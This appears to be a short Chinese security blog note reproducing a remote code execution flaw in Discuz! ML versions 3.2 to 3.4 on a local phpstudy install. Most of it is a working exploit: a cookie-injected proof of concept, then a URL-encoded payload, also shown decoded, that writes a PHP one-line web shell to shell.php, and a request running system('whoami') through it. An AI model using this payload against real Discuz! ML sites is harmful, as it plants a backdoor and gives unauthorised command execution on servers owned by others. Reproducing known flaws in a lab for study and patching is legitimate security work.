Discuz! ML RCE漏洞 getshell 复现
- 2019 年 12 月 12 日
- 笔记

0x00 影响版本
Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台, 用于构建像“社交网络”这样的互联网社区,漏洞版本如下:
Discuz! ML V3.2
Discuz! ML V3.3
Discuz! ML V3.4
0x01 环境搭建
使用phpstudy搭建:直接官网下载即可http://discuz.ml/download,将压缩包解压至phpstudy网站根目录,浏览器访问upload目录即可开始安装

之后就是傻瓜式操作,一直点击下一步就可以了,直到完成安装
0x02 漏洞Poc
随便选择一种语言并抓包

将Cookie中的xxxxx_language参数值改为 '.phpinfo().' ,可以看到成功执行了代码,如下图:

0x03 Getshell
EXP:
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
编码前是这样的:(urldecode后面的括号里是一句话木马)
'.+file_put_contents('shell.php',urldecode('%3c%3fphp+%20eval(%24_%47%45%54%5b%22cmd%22%5d)%3b%3f%3e')).'
传入xxxx_language发包:

执行后本地就会多出一个shell.php文件

访问:
http://127.0.0.1/discuzml/upload/shell.php?cmd=system('whoami');
即可看到成功执行了命令
